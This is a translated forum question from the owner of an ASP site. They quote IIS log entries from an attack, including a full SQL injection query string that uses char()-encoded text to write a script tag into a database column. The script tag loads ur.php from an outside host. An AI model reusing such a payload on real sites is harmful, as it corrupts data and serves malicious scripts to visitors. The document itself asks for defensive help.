关于javascript:攻击使用SQL Server数据库的ASP站点

Attack on ASP site that uses a SQL server database

我们有一个明显受到攻击的调查点。症状与本网站下一页描述的症状相同:对ASP.NET网站的XSS攻击。

我在我们的IIS日志中发现了多个包含恶意代码的条目:

< / title> < script src = http : // google-stats49.info/ur.php >.

下面是其中一个IIS日志条目的cs-uri查询字段值的示例。

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

我不理解上面的代码是如何工作的,但很明显,这就是在查询字符串中发送给数据库表中损坏列的内容。我们暂时关闭了我们的网站。我们可以从数据库中删除脚本,但这并不能防止当我们将网站重新联机时,脚本再次损坏。

有人对如何防止这种情况发生有什么建议吗?